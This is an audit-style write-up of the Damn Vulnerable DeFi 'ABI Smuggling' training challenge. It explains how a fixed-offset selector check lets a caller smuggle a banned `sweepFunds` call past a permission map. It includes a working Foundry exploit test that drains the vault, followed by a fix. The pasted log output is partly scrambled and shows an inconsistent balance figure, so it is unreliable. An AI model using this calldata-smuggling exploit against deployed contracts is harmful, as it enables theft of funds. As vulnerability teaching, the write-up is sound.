

ABI Smuggling Security Review

Damn Vulnerable DeFi, ABI Smuggling Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: August 16, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, ABI Smuggling Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the ABI Smuggling challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is August 16, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/abi-smuggling/  
  AuthorizedExecutor.sol  
  SelfAuthorizedVault.sol
```

Protocol Summary

The vault holds tokens and only lets certain callers run certain functions. Every call goes through one door, `execute(target, actionData)`. Before it runs the call, it reads the function selector out of `actionData` and checks a permission map, is this caller allowed to run this function on this target.

In the test the vault holds 1,000,000 DVT. The player is allowed only the `withdraw` selector, which can move at most 1 ether every 15 days. The function that drains the whole balance, `sweepFunds`, is not allowed for the player, it can only be called by the vault on itself. The goal is to take all tokens out of the vault and send them to a recovery account.

Roles

There are two roles. The deployer sets up the vault and the permission map. The player is a normal user who is allowed only the `withdraw` selector and must drain the vault anyway. There is no admin key to steal, the attack works purely by shaping the calldata.

Executive Summary

The permission check trusts a fixed byte position in the calldata. `execute` reads the selector from byte 100 and checks it, but then runs the real `actionData` bytes. Because `actionData` is a dynamic type, the offset that says where its bytes begin is chosen by the caller. So the attacker can place a safe, allowed selector at byte 100 to pass the check, while the real `actionData` points at a banned function.

The player, allowed only `withdraw`, builds one crafted call. Byte 100 holds the `withdraw` selector so the check passes, but the offset points `actionData` at a `sweepFunds` call. The vault checks one selector and runs another, and the full 1,000,000 DVT is sent to recovery in a single call.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	1
Informational	1
Total	3

ID	Title	Severity
[H-1]	The permission check reads the selector from a fixed spot, so an attacker can smuggle a banned call past it	High
[L-1]	<code>withdraw</code> changes state but emits no event	Low
[I-1]	<code>Initialized</code> event has address fields but none are indexed	Informational

Findings

High

[H-1] The permission check reads the selector from a fixed spot, so an attacker can smuggle a banned call past it

Description:

`execute` is the only door into the vault. Before it runs a call it checks if the caller is allowed to run that function on that target.

```
// src/abi-smuggling/AuthorizedExecutor.sol:46-61
function execute(address target, bytes calldata actionData) external nonReentrant returns
(bytes memory) {
    bytes4 selector;
    uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
    assembly {
        selector := calldataload(calldataOffset)
    }

    if (!permissions[getActionId(selector, msg.sender, target)]) {
        revert NotAllowed();
    }

    _beforeFunctionCall(target, actionData);

    return target.functionCall(actionData);
}
```

The check reads the function selector from a **fixed byte position**, `4 + 32 * 3 = 100`. But the call it actually runs, `target.functionCall(actionData)`, uses the real `actionData` bytes.

Here is the problem. `actionData` is a dynamic type. When you call `execute`, the calldata is laid out like this:

```
byte 0   .. 4   execute() selector
byte 4   .. 36  target
byte 36  .. 68  offset that points to where actionData starts  <-- attacker controls this
byte 68  .. 100 length of actionData
byte 100 .. ...  actionData bytes (first 4 bytes are the inner selector)
```

The code assumes `actionData` always starts at byte 100, so it reads the selector from there. But the offset at byte 36 is chosen by the caller. By setting a different offset, the

attacker can put a **safe, allowed selector at byte 100** to pass the check, while the real `actionData` sits somewhere else and calls a **banned function**. The vault checks one selector and runs another.

In this challenge the player is allowed only `withdraw (0xd9caed12)`. The prize function `sweepFunds (0x85fb709d)`, which sends the whole balance out, is not allowed. The attacker puts `withdraw` at byte 100 to pass the check, but points `actionData` at a `sweepFunds` call.

Location `src/abi-smuggling/AuthorizedExecutor.sol:46-61`.

Impact:

Likelihood `High`. Anyone with any one allowed selector can do it, and building the calldata is simple.

Risk `High`. The whole vault balance, 1,000,000 DVT, is stolen in one call.

Proof of Concept:

The player hand builds the calldata for `execute`. Byte 100 holds the allowed `withdraw` selector so the check passes, but the offset points `actionData` at a `sweepFunds(recovery, token)` call, so the vault sweeps everything to recovery.

```

function test_abiSmugglingExploit() public {
    vm.startPrank(player, player);

    console.log("BEFORE ATTACK");
    console.log("vault DVT      :", token.balanceOf(address(vault)));
    console.log("recovery DVT :", token.balanceOf(recovery));

    // The real call we want the vault to run: sweepFunds(recovery, token)
    bytes memory realCall = abi.encodeWithSelector(SelfAuthorizedVault.sweepFunds.selector,
recovery, token);

    // Hand build the calldata for execute(target, actionData) so the check reads
    // the allowed withdraw selector, but the vault runs sweepFunds instead.
    bytes memory payload = abi.encodePacked(
        AuthorizedExecutor.execute.selector,          // [0..4)    execute()
        uint256(uint160(address(vault))),              // [4..36)   target = vault
        uint256(0x80),                                // [36..68)  offset to actionData ->
points to byte 132
        uint256(0),                                    // [68..100) empty word (free space)
        bytes4(0xd9caed12), bytes28(0),                // [100..132) allowed withdraw
selector, read by the check
        uint256(realCall.length),                      // [132..164) real length of actionData
        realCall                                         // [164..)   real sweepFunds calldata
    );

    // Send the crafted calldata straight to the vault
    (bool ok,) = address(vault).call(payload);
    require(ok, "exploit call failed");

    vm.stopPrank();

    console.log("AFTER ATTACK");
    console.log("vault DVT      :", token.balanceOf(address(vault)));
    console.log("recovery DVT :", token.balanceOf(recovery));

    assertEq(token.balanceOf(address(vault)), 0, "vault still has tokens");
    assertEq(token.balanceOf(recovery), VAULT_TOKEN_BALANCE, "recovery did not get all
tokens");
}

```

Run test:

Logs:

```
vault DVT      : 1000000000000000000000000000000000
```

AFTER ATTACK

recovery DVT : 1000000000000000000000000

Before the attack the vault holds all 1,000,000 DVT. The player, allowed only `withdraw`, sends one crafted call. The check sees `withdraw` and passes, but the vault runs `sweepFunds` and sends the full balance to recovery. Vault ends at 0.

Recommended Mitigation:

Do not trust a fixed calldata position. Read the selector from `actionData` itself, so the checked selector is always the one that will run.

```
- bytes4 selector;
- uint256 calldataOffset = 4 + 32 * 3;
- assembly {
-     selector := calldataload(calldataOffset)
- }
+ bytes4 selector = bytes4(actionData[:4]);
```

Low

[L-1] withdraw changes state but emits no event

Description:

`withdraw` moves tokens and updates the last withdrawal time, but emits nothing.

```
// src/abi-smuggling/SelfAuthorizedVault.sol:42-44
_lastWithdrawalTimestamp = block.timestamp;

SafeTransferLib.safeTransfer(token, recipient, amount);
```

With no event, offchain tools and watchers can not track withdrawals cleanly, they have to read state or trace calls.

Impact:

Likelihood Low Risk Low

Proof of Concept:

N/A

Recommended Mitigation:

Emit an event on withdraw, for example `emit Withdrawn(token, recipient, amount);`.

Informational

[I-1] Initialized event has address fields but none are indexed

Description:

The setup event carries an address but marks nothing as indexed.

```
// src/abi-smuggling/AuthorizedExecutor.sol:19
event Initialized(address who, bytes32[] ids);
```

Without an indexed field, tools can not filter these logs by the `who` address.

Impact:

Likelihood Info Risk Info

Recommended Mitigation:

Mark the address as indexed, `event Initialized(address indexed who, bytes32[] ids);`.
